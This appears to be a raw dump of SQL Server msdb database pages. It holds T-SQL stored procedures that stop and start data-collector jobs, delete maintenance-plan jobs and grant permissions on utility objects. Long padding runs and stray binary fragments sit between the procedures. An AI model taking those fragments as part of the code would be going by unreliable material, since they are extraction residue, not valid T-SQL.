!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`4R<pS0)ܛq09 8
CREATE PROCEDURE [dbo].[sp_syscollector_stop_collection_set_jobs]
    @collection_set_id    int
AS
BEGIN
    SET NOCOUNT ON

    -- Collection set stopped. Make sure the following happens:
    -- 1. Detach upload schedule
    -- 2. Collection job is stopped
    -- 3. Upload job is kicked once if it is not running now
    -- 4. Collection and upload jobs are disabled
    -- 5. Attach upload schedule
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_stop_collection_set_jobs
    ELSE
        BEGIN TRANSACTION
    
    BEGIN TRY
        DECLARE @collection_job_id    uniqueidentifier
        DECLARE @upload_job_id        uniqueidentifier
        DECLARE @schedule_uid        uniqueidentifier
        DECLARE @collection_mode    smallint

        SELECT    @collection_job_id = collection_job_id, 
                @upload_job_id = upload_job_id, 
                @collection_mode = collection_mode, 
                @schedule_uid = schedule_uid
        FROM dbo.syscollector_collection_sets
        WHERE collection_set_id = @collection_set_id

        DECLARE @schedule_id int
        IF (@collection_mode != 1)  -- detach schedule for continuous and snapshot modes
        BEGIN
            SELECT @schedule_id = schedule_id from sysschedules_localserver_view WHERE @schedule_uid = schedule_uid
            IF (@schedule_id IS NULL)
            BEGIN
                DECLARE @schedule_uid_as_char VARCHAR(36)
                SELECT @schedule_uid_as_char = CONVERT(VARCHAR(36), @schedule_uid)
                RAISERROR(14262, -1, -1, '@schedule_uid', @schedule_uid_as_char)
                RETURN (1)
            END

            -- Detach schedule
            EXEC dbo.sp_detach_schedule
                @job_id            = @upload_job_id,
                @schedule_id    = @schedule_id,
                @delete_unused_schedule = 0    -- do not delete schedule, might need to attach it back again
        END

        DECLARE @is_upload_job_running INT
        EXECUTE [dbo].[sp_syscollector_get_collection_set_execution_status]
                @collection_set_id = @collection_set_id,
                @is_upload_running = @is_upload_job_running OUTPUT

        -- Upload job (needs to be kicked off for continuous collection mode)
        IF (@is_upload_job_running = 0            -- If the upload job is not already in progress
            AND @collection_mode = 0)           -- don't do it for adhoc or snapshot, they will handle it on their own
        BEGIN
            EXEC sp_start_job @job_id = @upload_job_id, @error_flag = 0
        END

        -- Disable both jobs
        EXEC sp_update_job @job_id = @collection_job_id, @enabled = 0
        EXEC sp_update_job @job_id = @upload_job_id, @enabled = 0

        IF (@collection_mode != 1)    -- attach schedule for continuous and snapshot modes
        BEGIN
            -- Attach schedule
            EXEC dbo.sp_attach_schedule
                @job_id            = @upload_job_id,
                @schedule_id    = @schedule_id
        END

        -- Log the stop of the collection set
        EXEC sp_syscollector_event_oncollectionstop @collection_set_id = @collection_set_id

        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_stop_collection_set_jobs

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`U6<"	TL}_0: u8CREATE PROCEDURE sp_delete_maintenance_plan_job
  @plan_id uniqueidentifier,
  @job_id  uniqueidentifier
AS
BEGIN
  /*check if the (plan_id, job_id) exists*/
  IF (NOT EXISTS(SELECT *
                 FROM sysdbmaintplan_jobs
                 WHERE @plan_id=plan_id AND @job_id=job_id))
  BEGIN
    DECLARE @syserr VARCHAR(300)
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)+' + '+CONVERT(VARCHAR(100),@job_id)
    RAISERROR(14262,-1,-1,'@plan_id+@job_id',@syserr)
    RETURN(1)
  END
  DELETE FROM msdb.dbo.sysdbmaintplan_jobs
  WHERE plan_id=@plan_id AND job_id=@job_id
END
0; /8(suser_sname())0+; $8('')0s: 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_provision_utility_object_internal
   @object_name sysname, @role_name sysname
WITH EXECUTE AS CALLER
AS
BEGIN
   DECLARE @sql_stmt nvarchar(max);
   DECLARE @grant_type NVARCHAR(20);
   DECLARE @object_type char(2);
   DECLARE @database_name sysname;
   DECLARE @quoted_object_name_with_dbo nvarchar(max);
   
   SET @database_name = DB_NAME();
   SET @quoted_object_name_with_dbo = 'dbo.' + QUOTENAME(@object_name);

   SELECT @object_type = [type] FROM sys.objects WHERE object_id = OBJECT_ID(@quoted_object_name_with_dbo);

   -- TSQL or CLR procs and non-inline functions
   --    P  - stored proc (TSQL)
   --    PC - stored proc (SQLCLR)
   --    FN - scalar function (TSQL)
   --    FS - scalar function (SQLCLR)
   IF (@object_type IN ('P', 'PC', 'FN', 'FS'))
   BEGIN
      SET @grant_type = 'EXECUTE';
   END

   -- Views, inline functions, tables
   --    V  - view
   --    IF - inline function (TSQL)
   --    U  - user table
   --    S  - system table
   --    TF - table-valued function (TSQL)
   --    FT - table-valued function (SQLCLR)
   ELSE IF (@object_type IN ('V', 'IF', 'U', 'S', 'FT', 'TF'))
   BEGIN
      SET @grant_type = 'SELECT';
   END;
   ELSE BEGIN
      -- The object '%s' does not exist in database '%s' or is invalid for this operation.
      RAISERROR (15009, 16, 1, @quoted_object_name_with_dbo, @database_name);
      RETURN;
   END;

   SELECT @sql_stmt = N'GRANT '+ @grant_type +' ON ' + @quoted_object_name_with_dbo + ' TO ' + QUOTENAME(@role_name);
   RAISERROR ('Executing: %s', 0, 1, @sql_stmt) WITH NOWAIT
   EXEC sp_executesql @sql_stmt;
END;
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(`5T<B
U0)9	0: \
8
CREATE PROCEDURE [dbo].[sp_syscollector_start_collection_set_jobs]
    @collection_set_id    int
AS
BEGIN
    SET NOCOUNT ON

    -- Collection set started. Make sure the following happens:
    -- 1. Collection and upload jobs are enabled
    -- 2. Collection job is started if it is defined as running continously

    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_start_collection_set_jobs
    ELSE
        BEGIN TRANSACTION

    BEGIN TRY
        
        -- Log the start of the collection set
        DECLARE @log_id bigint
        EXEC sp_syscollector_event_oncollectionstart @collection_set_id = @collection_set_id, @log_id = @log_id OUTPUT

        -- Enable both jobs
        DECLARE @collection_job_id    uniqueidentifier
        DECLARE @upload_job_id        uniqueidentifier
        DECLARE @collection_mode    smallint

        SELECT    @collection_job_id = collection_job_id,
                @upload_job_id = upload_job_id,
                @collection_mode = collection_mode
        FROM dbo.syscollector_collection_sets
        WHERE collection_set_id = @collection_set_id

        EXEC sp_update_job @job_id = @collection_job_id, @enabled = 1
        EXEC sp_update_job @job_id = @upload_job_id, @enabled = 1

        -- Start the collection job if you are in ad hoc or continuous modes
        IF (@collection_mode = 1 OR @collection_mode = 0)
        BEGIN
            EXEC sp_start_job @job_id = @collection_job_id, @error_flag = 0
        END

        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_start_collection_set_jobs

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!